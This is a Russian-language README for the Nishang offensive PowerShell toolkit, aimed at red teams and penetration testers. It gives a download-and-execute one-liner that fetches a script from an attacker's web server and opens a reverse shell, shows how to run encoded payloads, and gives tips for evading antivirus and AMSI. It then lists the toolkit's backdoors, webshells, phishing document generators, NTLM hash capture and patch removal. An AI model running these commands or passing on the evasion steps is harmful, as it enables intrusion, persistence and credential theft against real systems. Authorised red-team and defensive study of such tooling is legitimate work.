
Nishang - Атакующий PowerShell для красных команд, тестирования на проникновение и наступательной безопасности.
Автор: Nikhil Mittal Основатель Altered Security — Hands-on red team and enterprise security training!
Импортируйте все скрипты в текущий сеанс PowerShell (PowerShell v3 и выше).
PS C:\nishang> Import-Module .\nishang.psm1
Используйте отдельные скрипты с dot sourcing.
PS C:\nishang> . C:\nishang\Gather\Get-Information.ps1
PS C:\nishang> Get-Information
Чтобы получить справку по любому скрипту или функции, используйте:
PS C:\nishang> Get-Help [scriptname] -full
Обратите внимание, что справка доступна для функции, загруженной после запуска скрипта, а не для самого скрипта начиная с версии 0.3.8. Во всех случаях имя функции совпадает с именем скрипта.
Например, чтобы просмотреть справку по Get-WLAN-Keys.ps1, используйте
PS C:\nishang> . C:\nishang\Get-WLAN-Keys.ps1
PS C:\nishang> Get-Help Get-WLAN-Keys -Full
Скрипты Nishang многими антивирусами помечаются как вредоносные. Скрипты на цели предназначены для использования в памяти, что очень легко сделать с помощью PowerShell. Два основных метода выполнения скриптов PowerShell в памяти:
Метод 1. Использование загрузки и выполнения в памяти: Используйте следующую команду для выполнения скрипта PowerShell из удаленной оболочки, родной оболочки meterpreter, веб-оболочки и т.д., а также экспортируемой им функции. Все скрипты в Nishang экспортируют функцию с тем же именем в текущий сеанс PowerShell.
powershell iex (New-Object Net.WebClient).DownloadString('http://<yourwebserver>/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress [IP] -Port [PortNo.]
Метод 2. Использование параметра -encodedcommand (или -e) PowerShell
Все скрипты в Nishang экспортируют функцию с тем же именем в текущий сеанс PowerShell. Поэтому убедитесь, что вызов функции сделан в самом скрипте при использовании параметра encodedcommand из оболочки, отличной от PowerShell. Для приведенного выше примера добавьте вызов функции (без кавычек) "Invoke-PowerShellTcp -Reverse -IPAddress [IP] -Port [PortNo.]".
Закодируйте скрипт с помощью Invoke-Encode из Nishang:
PS C:\nishang> . \nishang\Utility\Invoke-Encode
PS C:\nishang> Invoke-Encode -DataToEncode C:\nishang\Shells\Invoke-PowerShellTcp.ps1 -OutCommand
Закодированные данные записаны в .\encoded.txt
Закодированная команда записана в .\encodedcommand.txt
Из указанного выше используйте закодированный скрипт из encodedcommand.txt и запустите его на цели, где могут выполняться команды (удаленная оболочка, родная оболочка meterpreter, веб-оболочка и т.д.). Используйте его следующим образом:
C:\Users\target> powershell -e [encodedscript]
Если скрипты по-прежнему обнаруживаются, поможет изменение имен функций и параметров, а также удаление содержимого справки.
Если AMSI в Windows 10 все еще блокирует выполнение скриптов, смотрите этот блог: http://www.labofapenetrationtester.com/2016/09/amsi.html
Nishang в настоящее время содержит следующие скрипты и полезные нагрузки.
Изменение объектов AD для предоставления минимальных разрешений, необходимых для DCShadow.
Выполнение скриптов PowerShell в памяти, выполнение команд, загрузка и скачивание файлов с помощью этой веб-оболочки.
Бэкдор, который может получать инструкции от сторонних веб-сайтов и выполнять скрипты PowerShell в памяти.
Бэкдор, который может получать команды и скрипты PowerShell из DNS TXT-запросов, выполнять их на цели и удаленно управляться с помощью запросов.
Бэкдор, который может выполнять скрипты PowerShell в заданное время на цели.
Бэкдор, который может получать команды и скрипты из SSID WLAN без подключения к нему.
Бэкдор, который может использовать заставку Windows для удаленного выполнения команд и скриптов.
Бэкдор, который может использовать альтернативные потоки данных и реестр Windows для обеспечения постоянства.
Бэкдор, использующий известный трюк с отладчиком для выполнения полезной нагрузки с помощью Sticky keys и Utilman (Windows key + U).
Изменение разрешений пространств имен DCOM и WMI, чтобы предоставить доступ не-администратору.
Изменение разрешений удаленного взаимодействия PowerShell, чтобы предоставить доступ не-администратору.
Реализация публично известных методов обхода/избегания AMSI.
Создание зараженных CHM-файлов, которые могут выполнять команды и скрипты PowerShell.
Создание Word-файлов и заражение существующих для выполнения команд и скриптов PowerShell.
Создание Excel-файлов и заражение существующих для выполнения команд и скриптов PowerShell.
Создание HTA-файла, который можно развернуть на веб-сервере и использовать в фишинговых кампаниях.
Создание подписанных JAR-файлов, которые можно использовать с апплетами для выполнения скриптов и команд.
Создание файлов ярлыков, способных выполнять команды и скрипты PowerShell.
Создание IQY-файлов для фишинга учетных данных и SMB-хешей.
Создание JS-файлов, способных выполнять команды и скрипты PowerShell.
Создание SCT-файлов, способных выполнять команды и скрипты PowerShell.
Создание SCF-файла, который можно использовать для перехвата вызовов NTLM-хешей.
Когда требуются привилегии SYSTEM.
Внедрение уязвимостей путем удаления исправлений.